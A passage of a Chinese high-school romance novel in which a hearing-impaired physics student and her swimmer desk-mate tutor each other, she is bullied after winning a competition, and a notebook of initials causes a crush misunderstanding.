不需要花太多心思观察，他都能发现，祝枝在英语上花的时间真的挺多的，自习课写，下课写，晚自习写，什么时候都是捧着本英语书。
祝枝又开始写英语了，细细的两条眉蹙得不能再紧，下唇被贝齿蹂躏到泛红，鼻尖都随之泌出些细细的汗。
如果说写物理题的祝枝是大侠客，那么写英语的祝枝就是在新手村摸爬滚打的小菜鸟。
李昭野心想有这么难吗，他修长的手指猝不及防落到祝枝的卷子上，淡声道：“confirmation，证实的意思。”
祝枝扭头，眼底有些惊讶。
李昭野又念了一遍。
“confirmation。”
祝枝依旧是睁着无辜的大眼，不吭声。
“你不念，怎么学会？”李昭野不解道。
他又重复了一遍，字正腔圆的，通过助听器传到耳朵里，很是好听。
祝枝紧张地捏住手指，小声重复，磕磕巴巴的。
李昭野忍不住笑了一声，又用标准发音带读了一遍。
总是读不对，念出来也是受嘲笑的。
祝枝紧紧咬住下唇，可怜兮兮地加重呼吸声，缓解此刻的紧张和无助，她眉头微蹙，眸间不知道什么时候泛起一阵红意，看起来像是受足了欺负的。
李昭野霎时慌了，他眼睛慌乱眨着，心脏都快窜到嗓子眼了。
“不是，你怎么哭了呀？别哭呀。”
5. 05
李昭野这人从小混账惯了，在哪个好友圈里都是专惹人生气的小魔王，没少惹哭队里和班上的女同学，这还是他第一次因为把人惹哭了而慌乱。
“行了行了，你先别哭。”
祝枝用力眨了眨酸涩的眼，她实在是很少出声读英语，特别是还读给人家听，毕竟换来嘲笑的结果，是她早早就预料到的，但控制不止的委屈情绪还是让她瞬间就红了眼，反应过来后更觉得丢脸了。
她撇开头去，把视线放回英语卷子上。
“我没哭。”她的声音又细又小，传到李昭野耳朵里。
“你眼睛都红了，还没说哭。”
祝枝在他瞧不见的地方悄悄抹了一下眼泪，拿起笔，准备继续写题。
李昭野单手撑着脸，盯着她写题的动作，这回他不嘴贱教人家念单词了，而是在她笔尖微微停顿之际，报出那个英文单词的释义。
祝枝动作微微一顿，清秀的字迹挤在英文下方，写下李昭野告诉她的中文意思。
不出五分钟，李昭野就犯困了，他慢吞吞打了个哈欠，手指胡乱抓过头发，带来一阵困倦的感觉，教室里窸窣的小动静是最助眠的白噪音，他趴到桌子上，被折叠起来的手臂蹭到祝枝的手肘，她扭头一看，李昭野已经开始睡觉了。
毕竟是学游泳的，这人手长脚长，因为抬手而裸露出来的那截手臂肌肉薄而有力，乱糟糟的黑发遮住额头，浓密的睫毛安静地垂在脸颊上，视线顺着高挺的鼻梁一路向下，他的唇很薄，颜色淡淡的，唇形很好看。
睡着的时候倒还是挺赏心悦目的。
要是能一直这么安静就好了，祝枝在心里默默道。
祝枝的视线收回，入目是写满了翻译的英文阅读题，李昭野说，学英语一定是要张嘴的，多读，养成了语言习惯，学习效率会更高。
她咬了咬下唇，用气声小心翼翼地再次把李昭野刚刚教她的单词读了一遍。
中午午休，祝枝被喊去了物理老师办公室。
她是真喜欢这个安静的女孩，听力的缺陷也只是让这块宝石多了条独一无二的痕迹，再三叮嘱她在马上要来临的物理竞赛上要仔细认真，把握好机会之后，物理老师从抽屉里翻出一瓶牛奶和两包饼干。
“拿去吃。”
祝枝赶忙摆手拒绝。
老师不由分说地塞进她手里，说：“看你这么瘦，女孩子要吃胖一点才好。”
那句谢谢虽然小声，但饱含情绪。
祝枝已经为这次物理竞赛准备很久了，她心仪的学校的物理专业分数不低，如果能在竞赛上拿奖，多加点分数，也能缓解她的一些压力。
同班参加比赛的还有两个男生，总分一直都挺高的，物理老师亲自把人送到了考场，在门口守着人出来，结束后还带他们几个去吃了顿饭。
写完卷子后肩头的防备到祝枝告别老师和同学，独自一人回家的路上才彻底卸下，她心情不错，脚下的步子都跟着轻快起来。
在路口的书店买下几个漂亮新本子后，她顺着路灯的朝向缓缓走着，独自享受着这静谧的时光。
忽然，一只橘色小猫飞快地从草丛里窜了出来，跑向马路对面，祝枝提步跟上，小心翼翼地探头到草丛里去找它。
那家伙溜得快，已经没影了。
祝枝顿感失望，她支起身体，突然发现面前是一个巨大的陌生建筑。
她没来过这儿。
狐疑地起身走近，祝枝才发现这里是游泳馆。
湛蓝的泳池闪着粼粼波光，虽然是游泳馆，但人却不多，几条浮标把泳池分成类似于跑道的结构，好几个身影在里面使劲扑腾出水花。
祝枝只游过一次泳，刚下水就扑棱着想放弃，那种在水里被四面八方的力道裹挟的感觉让她心跳速度超级快。
看了两眼热闹后，她准备离开，迎面正好撞上一堆从更衣室出来的男生女生们。
被簇拥在中间的人实在太熟悉，这段时间的偶遇可真不少。
“祝枝？”李昭野走向她。
他估计是刚训练完洗了澡，头发潦草地擦了几下，还湿漉漉着，皮肤被水泡得很白很嫩，像块豆腐，一双眼睛也是亮晶晶的。
“你怎么在这？”
“路过。”祝枝小声回答。
“真有意思，我在哪你就路过哪里。”
祝枝抬眸，眼神里的控诉在她那张乖巧的脸上显得没什么威慑力，更像是张牙舞爪的小猫，但其实指甲早就被主人剪得干干净净了。
“这谁啊？”后面的队友跟上问道。
“我同桌。”李昭野介绍道。
“来找你的？”这语气有些暧昧，他还用手肘撞了撞李昭野。
“别胡说。”
“那一块去吃宵夜呗。”有女生提议道。
李昭野将询问的视线落到她身上，问：“去吗？”
祝枝摇了摇头。
“没事，你跟着我就行。”不等她回答，李昭野扭头问道，“订的是包间吧？”
“是，赶紧去吧，我东西都点好了，你们去看看还想吃点什么，补上。”
一行训练了好几个小时的人已经饿得前胸贴后背，一会都不想多等，吵吵闹闹的一块出门。
祝枝是见识过李昭野自说自话的本事的，她还没来得及再次拒绝，就已经被他拉着手腕出了门。
这家烧烤店离游泳馆不远，老板和他们几个都很熟了，打了声招呼后，他们直奔二楼的包厢。
人比较多，就算是在包厢里也很嘈杂，游泳队里年纪跨度挺大的，但大家都很熟，叽叽喳喳地聊着天，祝枝安静地坐在李昭野旁边，心里琢磨着该怎么开口说先回家。
李昭野到哪都是社交中心，祝枝看他游刃有余地和每一个搭话的人聊天，他手也没有嫌着，已经被浸泡到发皱的修长手指正在有条不紊地冲刷着一套餐具，然后自然地放到了祝枝面前，又拿走了她面前那套没拆封的。
“谢谢。”祝枝已经很擅长道谢了。
李昭野没太听清，偏过头，凑近道：“嗯？”
“你的不洗吗？”祝枝指了指他面前的碗筷。
“我没那么讲究，而且这个温度的水起不到什么很大的作用。”
祝枝：“那为什么帮我洗……”
她又不准备吃。
包厢里嘈杂，她声音又很低，再次凑近的李昭野将那双灼灼的黑眸望了过来。
“嗯？什么？”
祝枝无语，到底是谁耳朵不好啊。
李昭野一直跟她说话，靠得又近，周围好几个人频频投过来的视线让祝枝有些紧张。
烧烤陆续端上来，大家开始边吃边聊，祝枝肚子不饿，几乎没怎么动筷子，但也被李昭野塞了好几串肉，慢吞吞地吃完了。
聚餐结束后，李昭野去前台付了钱。
“教练说批了经费，不用你花钱。”
“没事，没多少钱。”他把手机放回口袋里，视线落到祝枝身上，“我送你回家
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？”
祝枝怀里抱着考试专用袋，还在脑子里盘点回家的路线，就已经被李昭野拉着出了门。
门口停了辆质感高级的黑车，祝枝没注意牌子，李昭野将她塞进后座，动作一点也不温柔。
“少爷。”司机低声唤道。
“先送她。”
“是。”
“谢谢。”她又小声道谢。
李昭野已经习惯她的慢声细语，嗯了一声后闭眼休息。
祝枝的竞赛成绩非常不错，刊登的名单里，一长串的男生里，她显得格外打眼，这份名单还被贴在公告栏里，而和她一块去参加比赛的两个同班的男生，双双落榜。
祝枝很少关注班上的八卦和舆论，她也不清楚那些关于她拿了物理老师透的题才考得好的荒谬传言是从哪里出来的。
她明显感觉到那天吃饭时相处得还算轻松愉快的两个男生都对她有些不满，去收作业时常受到他们俩的冷脸。
祝枝不是爱挑事的人，她装作什么都不知道。
矛盾爆发在班主任在教室里大肆夸赞了祝枝的那节课课后，她拿着水杯去接水，被人重重地撞了一下肩膀。
男生体格大，力气也足，撞得她肩膀生疼。
“没长眼啊？”男生面色不善地训斥道。
祝枝扶着手臂，眉头微皱，不解。
“怎么？没听清？”
“装的吧，上课怎么能听清啊，老师给她单独辅导的时候怎么能听清啊。”旁边有人应和道。
祝枝攥紧手里的杯子，好像有点明白这次的找茬是因为什么。
“你既然是个残疾，直接靠残疾证加分不就得了？为什么要费尽心思抢其他人的名额啊。”
话很难听，像剜人的刀子，她抿住苍白的唇，没说话。
“妈的，都忘了你是个聋子了，跟你说这么多有屁用。”
徒劳的发泄在公示名单后已经毫无作用，他们不过也就是想出出心里的气，已经在班上宣扬了好一段时间心里的委屈，一场单方面的大战爆发，围观的人自然是越来越多。
李昭野不过上个厕所的功夫，回来便看到一堆人围着他那个小同桌，为首的两个男生是班上成绩特别好的，面目狰狞，就差指着祝枝的额头骂了。
李昭野心中生出一股不悦，他快速拨开人群走进去。
祝枝没哭，但是眼睛很红，她浑身都紧绷着，可怜的样子让人看了就心疼，保护欲迅速从胸膛里充盈，直至李昭野浑身上下。
但这也让那些傻逼生出变本加厉的自豪感来。
“你们他妈有病是吧？”
一句脏话迅速地盖过他们的声音钻进耳朵里，祝枝错愕扭头，便看到李昭野大步走来，一把抓住情绪更激动的那个男生的衣领，恶狠狠道：“谁让你骂她的？”
李昭野虽然称不上校霸，但是在学校的影响力绝对是一顶一的，他是练体育的，身形高大，手臂结实有力，生气时从内而外散发出惊人的压迫力。
“学不会闭嘴我来教你。”
“你——”
祝枝被他护在身后，把人给骂到偃旗息鼓之后，他扭头道：“碰到这种傻逼直接踹就行，我替你撑腰。”
祝枝眼睛红红的，抬眸看着他，她轻轻吸了吸鼻子，从李昭野身后走出来，和对面两个男生对视。
“没本事，还输不起，我看不起你们。”
这是李昭野听过祝枝说的最大声的一句话，她声音都在抖，但是很坚定。
6. 06
停歇下来的闹剧还是让班主任发现了端倪，两个男生被喊去办公室问话，李昭野看了眼趴在桌子上有些丧气的祝枝，轻轻敲了敲她的桌子。
祝枝扭过头来。
“我还以为你在哭。”
没哭，眼睛有点红而已。
“被人指着鼻子骂都没哭，上次读个单词还哭了。”祝枝挨了嘲讽，一声不吭，他被她盯到投降，“行行行，我不哭了。”
祝枝吸了吸鼻子，坐起来，认真地对李昭野说：“谢谢你帮我。”
“难得收到你一句这么长的谢谢。”李昭野抬了抬下巴，“收下了。”
祝枝瘪了瘪嘴：“我差点以为你要打他。”
“你很失望？那等放学，我找几个人把他们拦了……”
“没有。”祝枝急道，“没、这个意思。”
她总是会被丁点话弄得紧张失措，李昭野轻笑了两声，说她：“就生生站在那挨骂，也不反驳两句。”
“我要是不去，你不怕他们动手打你？”
祝枝摇了摇头。
“会记处分。”
“男的，情绪动物，上头的时候哪会瞻前顾后。”李昭野嘲讽道，“特别是这种孬种男的。”
他撑住下巴，也不知道自己哪生出的这么多耐心，又问祝枝：“那万一要是学校考虑到快要毕业了，息事宁人，不给他们记处分呢？”
祝枝显然没想到这一层，她呆愣愣地眨了眨眼。
“所以还是要以暴制暴最靠谱，放学你也留下来看，我多叫几个人……”
祝枝赶忙拉住他假意掏手机的手，摇了摇头，皱眉道：“别……”
还是善良，小兔子是这样的。
李昭野眼底含笑，望向她。
“逗你的。”
这事最终也就是以一个道歉结束，班主任就站在旁边，他们低着头，看不出真诚与否，祝枝也不想再多纠缠，她神色有些淡漠，两个男生道完歉后就回了座位，周围迅速围上来好几个人询问情况，络绎不绝的讨论声响起。
敛眸遮下眼底的情绪后，祝枝捏住了指尖的笔，几道似有若无的视线落在她身上，好似回到了初中那段时间被大家孤立为残疾人时的无助。
小小的助听器将这个嘈杂的世界传到耳朵里，也把伤害的话语更增添了几分刺耳。
耳畔忽然传来一声不耐烦的声音。
“吵死了。”
李昭野难得在班里表露太多情绪，但大家都知道他家里底子厚，朋友也多，不好惹。
声音瞬间小了大半，他将校服罩到脑袋上，恰好遮住了祝枝投过来的视线。
这场小冲突在年级里传得沸沸扬扬，祝枝在班上存在感不强，伴随她的标签只有听力障碍和理科学霸。
祝枝在心里默默叹气，如果可以，她更愿意低调安静地度过高中三年，不被任何人注意到。
只是书包里的林知阳的本子已经藏了半个多月了，她一直都在斟酌着什么时候还回去比较合适，但现在好像不是个好时机。
午后下了场淅淅沥沥的小雨，把操场给淋湿了，体育课正好被物理老师占了，李昭野睡到脑袋有些发懵，他认真的同桌这会竟然正在发呆，垂着脑袋，盯着手肘下压着的笔记本，看起来心事重重的样子。
徐徐而来的风裹挟着湿润的泥土气息，扬起她脸颊旁的发，白皙的脸颊冒着一层淡淡的绒毛，自然的粉色给她增添了好些娇俏的少女感。
李昭野心里酥酥麻麻的，他滚动了一下喉咙，伸手轻轻推了推祝枝的脑袋。
“发什么呆呢？”
他居然醒了，祝枝立马藏起手下的本子，塞到课桌里，黑眸里有几分埋怨。
“听课。”李昭野说。
他还好意思说她，祝枝悄悄在心里哼了一声。
李昭野瞥了眼她宝贝似的藏到桌子里的本子，收回视线后心想自己怎么变得这么爱多管闲事了，换了个姿势继续趴着。
祝枝犹豫了很久，她还是决定周六再悄悄把本子放到林知阳的书包里。
耳边不合时宜地传出游戏开局的提醒，教室里的视线瞬间蹭地一下聚集到李昭野身上，幸好赶上老师去办公室拿器材，他修长的手指在手机屏幕上轻点，黑色卫衣的帽子堆在肩膀上，神色淡然，少年气十足。
纪律委员的视线频频投了过来，连带祝枝都变得不太自然起来，她打开草稿本，写了三个字，递到他面前。
-小点声
李昭野狐疑抬头，刚刚不是还宝贝着这个草稿本吗？
他瞥了眼上面的字，然后从口袋里翻出耳机戴上。
祝枝：……
至少安静了。
学校里发生的事第一时间传到了家长耳朵里，祝枝一进屋就被妈妈拉住，问她今天学校的情况。
妈妈有点着急，说话语速很快，捏着祝枝的手腕上上下下将她检查了一番。
“我还说要去学校看看，你们老师说什么已经解决了，不用去，让我看看，他们动手打你了？现在的男孩子怎么一个个都这么粗鲁。”
祝枝没说话，视线追随着她动个不停的嘴巴。
“你看我，太急了，你没听清吧。”妈妈懊恼道，她又放慢了语速，“你没什么事吧？”
祝枝摇了摇头。
“下周一我还是要去趟学校，问问到底是怎么回事。”
祝枝抓住她的手腕，摇了摇头表示拒绝。
妈妈皱眉：“那怎么行？要是以后还有人这么欺负你怎么办？”
祝枝带着她的手，覆盖到自己的肚子上，小声道：“好饿。”
“饿了？我给你下碗面。”
祝枝露出一道乖巧的笑：“谢谢妈妈。”
这还是祝枝读高中以来，第一次碰到这种恶性事件，妈妈让她周末在家里休息，先不去补习了。
祝枝表示自己真没受什么影响，她想起挡在自己面前的李昭野，平时看起来吊儿郎当的人竟然愿意站出来保护她，上一次被因为这种事被维护，还是第一次去上补习班。
理科小班是按成绩分的班，除了她都是男生，上课前被叮嘱过的老师对她也格外照顾些，每次讲题都会特地问她听懂了没有。
没想到这事引起了班上一个男生的不满，下课休息的间隙，他皱着眉吐槽道：“听不懂为什么要分到我们班？每次都为了她讲这么慢，这很耽误时间。”
祝枝反应慢吞吞的，抬头，猝不及
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防地和一旁看着她的林知阳对上了视线。
祝枝一周前才在数学老师办公室见过他，穿着简单的校服，被好几个老师当年夸赞，他噙着笑轻轻摇头，气质温柔安静，是个标准的好学生。
林知阳从容地将视线移到那个男生身上，说：“讲的慢只是因为题目难，说不定她比你更快听懂。”
“就她？先把耳朵治好吧。”
祝枝见到他脸色冷了几分，眉头微皱，提醒道：“周扬，你不能这么说话。”
“真是脆弱。”那个名叫周扬的男生翻了个白眼，吐槽道。
眉眼温柔的男生低声对祝枝道：“他口无遮拦，我替他向你道歉。”
那是祝枝第一次和林知阳讲话，她小声说：“没关系的。”
李昭野第一节课进教室时，祝枝不知道跑哪去了，他桌子上放了两瓶粉粉嫩嫩的牛奶，和一块巧克力蛋糕。
“这谁——”
他神色一顿，忽然觉着这牛奶有点眼熟，是上次他给祝枝买的那款。
正好祝枝洗了手回教室，她的十根葱白的手指垂着，指尖坠着几滴剔透的水珠。
李昭野看向她，又看了眼桌子上的东西。
显然是在等她解释，祝枝小声道：“谢谢你昨天帮我……”
她低眉顺眼，很是乖巧的样子。
李昭野那句不爱吃甜就这么卡在了喉咙里。
不受控制地，他伸手揉乱了祝枝额前的刘海。
“贿赂我？”
她弱弱地瞪向他。
“吃了你的蛋糕，下次我也罩着你。”
巧克力的味道在唇齿间融化，微苦的味道褪去后，奶油的香甜蔓延，李昭野慢悠悠地吃完了一整块蛋糕，差点没被腻死。
“野哥，打球去？”前来喊他的朋友顺手拿起他桌上的牛奶，“怎么买这么多牛奶，你不是最讨厌喝了吗？”
李昭野抢回他手里的瓶子，皱眉道：“别乱拿。”
“你又不爱喝。”他嘀咕道。
“谁说我不爱喝？”
李昭野拆了一瓶，灌下一大口，甜得发腻草莓味让他眉头一皱，果然，这个甜兮兮的东西，只有祝枝才喜欢。
“谁给你买的啊？这么宝贝。”
他蹭掉唇角的牛奶，横了他一眼，瞥见祝枝走近，说：“少胡说八道。”
“得嘞，我不打扰你了。”
他心情不错，起身放祝枝进去。
校服衣摆将祝枝放在一旁的草稿本带落，李昭野俯身捡起，散开在地面上的那页是他们传过一次纸条的，手指轻轻拨动了一下，滑开两页过后，李昭野看到了几行字母。
lzy，几乎写在了这页乱七八糟的数学公式剩下的每一个缝隙里。
最下面的一个，旁边还画了一颗小小的爱心。
祝枝眸子微瞪，下意识去抢她的本子。
抬头猝不及防撞进李昭野的视线中，像是被抓到了小辫子，她脸颊瞬间爆红，心慌得不行。
李昭野脑袋嗡嗡响，他视线里是祝枝绯红的脸颊，和小鹿似的惊慌失措的眸子。
“你——”
他说不出话，瞬间，耳朵漫上比祝枝还要更夸张的红。
7. 07
这是李昭野为数不多的窘迫时刻，他几乎感觉整个人都快要爆炸，不自然的红晕在脖颈和耳朵处蔓延开来，偏偏祝枝又用她那双湿漉漉的眼睛盯住了自己，这家伙，平时看起来娇娇弱弱的，怎么到了这个时候居然丝毫不退缩，他竟还从她眼里看出了几分破罐子破摔的感觉。
祝枝把本子抢了回去，塞进课桌里。
她红红的耳朵藏在头发里，避开李昭野的视线。
李昭野懵了，都暴露了，还宝贝本子干什么，他本人不就在这里坐着吗……
诡异的沉默在同桌两人之间蔓延，直到身后再次响起朋友的呼唤声，李昭野动静很大地从位置上起身。
祝枝藏在屉子里的手紧紧攥住本子一角，心跳速度极快，咚咚地敲击着脆弱的耳膜，视线跟随着李昭野离开的背影，她心下窘迫，只能默默祈祷着李昭野不认识林知阳，也不会从满满一本子的缩写中延伸思考，否则这场败露实在让她太难堪了。
李昭野今天的球打得很急，丢了好几个位置不错的球之后，他被同队的成员吐槽了一番，便兴致缺缺地下场了。
紧接着有人跟着过来询问情况。
“怎么回事？心不在焉的。”
手臂肌肉因为刚刚的运动而充血鼓了起来，上面抹了一层淡淡的水光，李昭野昂头灌下一大口水，眉间却依旧紧皱着，胡乱揉了几下的头发有些蓬松，额间的汗给他增添了几分运动过后的少年气，沉默了好一阵后，李昭野叹了口气。
“没什么事。”
“还打不打？”
“你们先打吧，我休息会。”
友谊赛说结束就结束了，学校在晚自习铃响起后就安静了不少，几个人从老地方翻墙出去吃宵夜。
嘈杂夏夜里的风吹散江边这几家烧烤摊的香味，混着朝远处飘去，李昭野吃饱喝足，买了单后，走到冰柜边拿出一瓶可乐，单手拉开后，昂头灌了一大口。
清爽的气泡在喉间炸开，给了他几分清醒。
口袋里的手机轻轻震动了两下，李昭野拿出来看了一眼，竟然是祝枝发来的消息。
-老师说要你补完昨天的错题。
李昭野正准备低头打字回消息，那边的消息又跳出来了。
-我帮你补完了，明天你记得交去办公室。
李昭野一愣，指尖被可乐冰得发麻，揉向太阳穴的时候，还带着湿漉漉的水汽。
-下晚自习了吗？
李昭野问她。
-还没。
真是学坏了，没下晚自习就开始看手机了。
-等着。
他把手机塞回口袋里，路过正忙得热火朝天的老板时，李昭野步子一顿，说：“帮我炒个炒饭，不要辣。”
别的学生都是在陆陆续续从学校里出来，准备回家，只有李昭野拎着个袋子，慢悠悠地朝教室走去。
祝枝不会在学校里逗留太久，她通常会花五分钟收拾好要带回家的书和作业，然后洗好杯子，再背着书包下楼。
李昭野卡好时间在楼下等到她。
柔顺的低马尾已经有些凌乱了，尺码偏大的校服罩在她纤细的身体上，人群里，她瞪着那双亮晶晶的小鹿眼，有些错愕地看着李昭野。
楼道里塞了好多人，推着她朝楼下走，李昭野抬手，冲她招了招，然后做了个嘴形。
过来。
被不少学生注意到的李昭野领着祝枝走向梧桐树底下的木椅子旁，这儿是送饭的家长聚集地，到了晚上就没什么人在了。
一想到自己等会要说的话，李昭野还有点紧张。
他看着站在一旁的祝枝，也跟着站了起来，在原地转了两步后，他说：“你坐吧。”
祝枝没听太清，不明所以。
她盯的近，视线片刻都没挪开。
李昭野心脏漏了两拍，避开视线后，他低声道：“我有事想和你说。”
祝枝乖乖坐下，仰头看着他。
她总是很乖，目光里带着几分认真和专注，盯得李昭野耳朵发热。
“就是，我觉得你成绩不错，当务之急还是专心学习，考个好大学。”
委婉地表达了一番后，李昭野抬眸看她，正好撞进祝枝湿漉漉的视线里。
她细细的眉轻皱，略微有些苦恼地指了指不远处嘈杂的人群，又指了指自己的耳朵。
“对不起。”她小声道，“可以再说一遍吗？”
李昭野愣住，面对这样一双可怜又无辜的眼睛，他实在没办法再次说出几乎是拒绝的话。
祝枝愧疚地低下头，有点紧张。
“你刚刚说什么来着？”
“我——”
她低着头，露出白嫩的脖颈，搭在肩头的头发滑落，发尾在风里微微晃动着，在李昭野心里划下一层淡淡的涟漪。
“我说，谢谢你帮我补作业。”李昭野说。
祝枝这回听清了，她疑惑地抬头。
“给你带的。”
李昭野把手里的袋子递给她，见祝枝摇头，他又说：“这家烧烤店很有名的，炒饭很好吃。”
店里人多，这还是额外花了点钱，请老板提前炒的。
祝枝接过袋子，抬头看着他，慢吞吞地说：“谢谢你。”
李昭野被她盯得心里泛软，轻轻撇开头后，红了一大片的耳廓出卖了他此刻紧张的心情。
算了，以后有机会再聊这件事吧。
李昭野几乎是一夜没睡，他一闭眼就是祝枝那双漂亮的小鹿眼涌上眼泪的样子，她一声不吭的，倔强又可怜地紧紧攥住自己的衣角，看起来实在是太可怜了。
李昭野翻来覆去，第二天一早，眼睛干涩得难受。
将睡衣换下来，他找了条沙滩裤套上，人都还在迷糊着，一头便钻进了花园里冰凉的游泳池当中。
手臂奋力推开水流，所有感官都被掠夺之后，李昭野才焦躁个不停的心脏这才稍微平息了些。
洗完澡冲了凉，李昭野再次错过早读的铃，被班主任逮到迟到了。
一番几乎雷同的说教让他左耳朵进右耳朵出，一边神游，他一边心想，班主任语速这么快，要是祝枝来挨骂，岂不是压根听不。
不对，祝枝这么乖，不会挨骂。
标准好学生祝枝正在位置上埋头记单词，几乎是气声的声音被淹没在早读的浪潮中，李昭野落座的动静没有让她注意到，他垂眸瞥了眼祝枝的侧脸，她正苦恼着，白皙的脸颊在手掌中挤出来一道很可爱的圆弧形。
忽然，她扭头瞟了一眼，正好撞上李昭野的视线。
不等李昭野反应，她轻轻勾唇，露出一道淡淡的笑。
感觉笑起来好害羞，李昭野心想。
半分钟后，祝枝从书包里翻出一个浅粉色的欧包，递给李昭野。
“早餐。”
他肯定没吃。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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李昭野没接，抬眸看她。
“炒饭很好吃。”她说，这算是回礼了。
而且他看到自己这么幼稚的，写满了一整页的林知阳名字的缩写，也没有多问，祝枝心里松了好几口气，感觉心情都好了不少。
李昭野处理课桌里经常出现的曲奇饼干和饮料的时候都挺果断的，可面对祝枝递过来的面包，他一时愣住了。
不要吗？那万一她哭了怎么办？
可是接了的话会不会让她误会？
祝枝见他半天都没动作，干脆把欧包放到他桌子上，细声道：“这家欧包很好吃。”
还真是坚持，李昭野叹了口气，只好接过，放进课桌里。
“谢了。”他别扭道。
“交作业。”祝枝又提醒他。
“知道了。”
李昭野这几天逃课的频率直线上升，祝枝虽然乐得清闲，但每一个进教室的老师都会逮着她问，李昭野又去哪了。
还想着不敢惹只能躲的李昭野，正在网吧里酣畅淋漓地打游戏，微信便收到了祝枝发来的微信消息。
-你下午会回学校吗？
李昭野愣住，面对祝枝的关心，他现在都不知道该不该回应了。
对方正在输入中的消息顶在屏幕上，李昭野颇有几分无奈，问的急，追的紧，她哪还有刚认识那会内敛害羞的样子，这也是太主动了。
游戏界面复活后亮了起来，李昭野将耳机戴上，拿起鼠标，说：“打完这局回去了。”
“就回去啊？吃完饭继续啊。”
“回学校吃食堂。”
“你吃食堂？”
“怎么了？我没交生活费吗？不能吃？”
“不是哥，你高中三年吃食堂的次数还没我卷子写名字的次数多，你能吃得惯，我就不信了。”
“别叨叨了，打完这局真走了。”
李昭野自然是挨了顿骂，班主任还给他远在伦敦的爸爸打了两通电话，都没打通，最后只能生气地发了两条语音，这狠话顺便也说给李昭野听。
教室里静悄悄的，走廊上传来的声音钻进耳朵里，祝枝放下手里的笔，认真辨认着班主任的话，说实话，挺难听的。
几分钟之后，李昭野脸色冷淡地从外头进来，坐回位置上。
祝枝偷偷扭头看他。
李昭野抬眸，将她偷偷摸摸的视线抓个正着。
祝枝耳朵有点红，她又将视线收回。
犹豫了一会，她放下笔，扭头小声叫他：“李昭野。”
李昭野正窝着火，说话声音很低。
“嗯？”
“你下次能不能别逃一整天的课啊？”
祝枝没好意思说是因为自己因为这个徒增了好多麻烦事，她委婉道：“都高三了，还是要好好学习。”
李昭野被猝不及防关心了一下，心里的烦躁褪去了好几分，他撑着下巴，视线落在祝枝嫩生生的脸蛋上。
祝枝不常说话，声音总是很小，而且说得很慢。
“班主任让我们互帮互助，我可以教你物理，你教我英语好吗？”
抬眸，是李昭野那张帅脸，他比大多数人都有耐心，听她说完了一句完整的话。
“嗯。”李昭野轻轻抬了抬下巴，表示答应了。
祝枝轻笑，眉眼间都是淡淡的笑意。
这么容易就满足，还真好哄，李昭野心想。
8. 08
林知阳是本周升旗仪式的发言人，他穿了三年的校服依旧是干净整洁，领口抹得极平，沉稳泰然地拿着话筒，念着稿子上的内容。
林知阳在校运会也是广播稿的播音员，他的普通话发音字正腔圆，过了变声期后，低沉的声音里多了几分磁性。
站在林知阳旁边的，是正准备挨通报批评的学生。
李昭野漫不经心地打了个哈欠，视线不经意落到站在队伍中央，仰起脸盯着主席台看个不停的祝枝身上。
今天天气很好，风里都是秋的气味，裹挟着温暖扑面而来，她小小一个，身形纤细，站在队伍里并不打眼，可李昭野就是能瞬间找到她。
刚刚还吊儿郎当站着的身体忍不住站直，他随意瞥了眼身旁几个二流子德性的同伴，略有些不爽地啧了一声。
“都站直了，歪七扭八的，像什么样子。”
“啊？”
“野哥你在这反串教导主任呢。”
交头接耳的动作瞬间被不远处的校长逮到，又是一声低喝，声音都盖过正在发言的学生，隐隐从广播里传了出来。
李昭野又瞥了眼祝枝，她还是抬着头，大而亮的黑眼睛眨都不眨，视线没有离开片刻。
他悄悄红了耳根，低声说了句丢人。
“这周别叫我去上网了。”他用手肘撞了撞身旁的男生。
“赛季末了，不抓紧时间打，到时候标都没了。”
“无所谓。”李昭野淡声道。
人群在校长的指令后散去，朝着一个出口涌去的学生速度很慢，周遭是嗡嗡作响的聊天声，大的小的，无差别地朝祝枝的耳朵里钻，她低着头，眉头微皱，脚下的步子急着想要加快，却被整体的速度拖累下来。
肩头忽然轻轻落了下，祝枝扭头，是李昭野。
他今天估计也知道要挨训，难得穿上了校服，他个子高，腿也很长，就算是穿简单枯燥的校服，看起来也很帅。
“发什么呆？走快点。”
手腕被他攥进了手里，李昭野速度很快，朝着人群里见缝插针走，一边还在快速念着不好意思借过一下。
绕开大多数人选的近路后，祝枝感觉自己的耳朵终于解放了，她悄悄吐出一口气，视线落到走在自己前两步距离的李昭野身上。
忽然，他扭头过来，视线盯着她，一边倒退着走。
“昨天让你背的单词，你都背会了吗？”
祝枝点了点头。
“那都会念吗？”
祝枝思索了一会，说：“有几个不会。”
“几个？”
“……很多个。”
“祝枝，你不认真。”
“没有。”祝枝略有些焦急地皱紧了眉头，她快跑了两步，走到李昭野面前，抬着头看他，“我认真记了的……”
她好乖，抬着头殷切的表情像等待主人揉两下脑袋的小猫咪。
李昭野抬手的动作从揉脑袋变成了轻敲额头。
“不会念可以给我打电话”
“噢……”
“我睡得很晚的，放心打扰我。”
柔和的阳光洒下，将路口处一棵梧桐树，以及树荫底下少男少女的身影拉得很长很长。
班主任总觉得上周和李昭野的那番谈话初见成效，他这个礼拜逃课的次数大大减少。
难搞的体育生碰到过很多个，可通用的不读书没有未来和出路的话术威胁不到李昭野这种富二代，毕竟未来不需要他亲自考虑，这也就是李昭野压根不把校纪校规放在眼里的原因。
但好在他这人只是爱玩，不算混账，也不完全算是传统意义上的坏学生。
视线从趴在桌上写题的李昭野身上掠过，他生了张看起来就很容易早恋的脸，高中这几年来听说过的女孩来班上送吃的送纸条的事也不少，但李昭野都没回应过，在这方面还是给她省了心。
他这会正被一道物理题给难住了，绞尽脑汁想了半天，最后还是拽着本子凑到祝枝面前。
“这题怎么写？”
祝枝低头看了眼题目，她拿起笔想写下过程，突然想起李昭野教自己的一大堆学英语的技巧，觉得自己不应该这么草率的只教他答案。
毕竟授人予鱼不如授人予渔，思索了一会后，祝枝拿出自己的草稿本，随手翻开一页，开始慢慢讲解这道题的技巧。
她葱白的手指节处染了些墨迹，手腕处泛着粉，低头说话的声音很小，但李昭野能完全听清。
讲着讲着，祝枝忽然停下了，她圆嘟嘟的脸被抿唇的表情挤了起来，试探地看向李昭野。
“你能听明白吗？”
其实没太认真听的李昭野愣了一下，脆声道：“听明白了……吧。”
祝枝露出苦恼的表情。
“我不太会讲……。”
李昭野见不得她这样可怜兮兮的样子，忙道：“不是，是我没认真。”
“那我再讲一遍吧。”祝枝说话依旧是慢吞吞的，她紧了紧下唇，犹豫问道，“我的口音会很奇怪吗？”
“什么口音？”李昭野不解。
见祝枝细眉微蹙，李昭野心中了然，低声安慰道：“我听不出什么口音，你普通话挺标准的。”
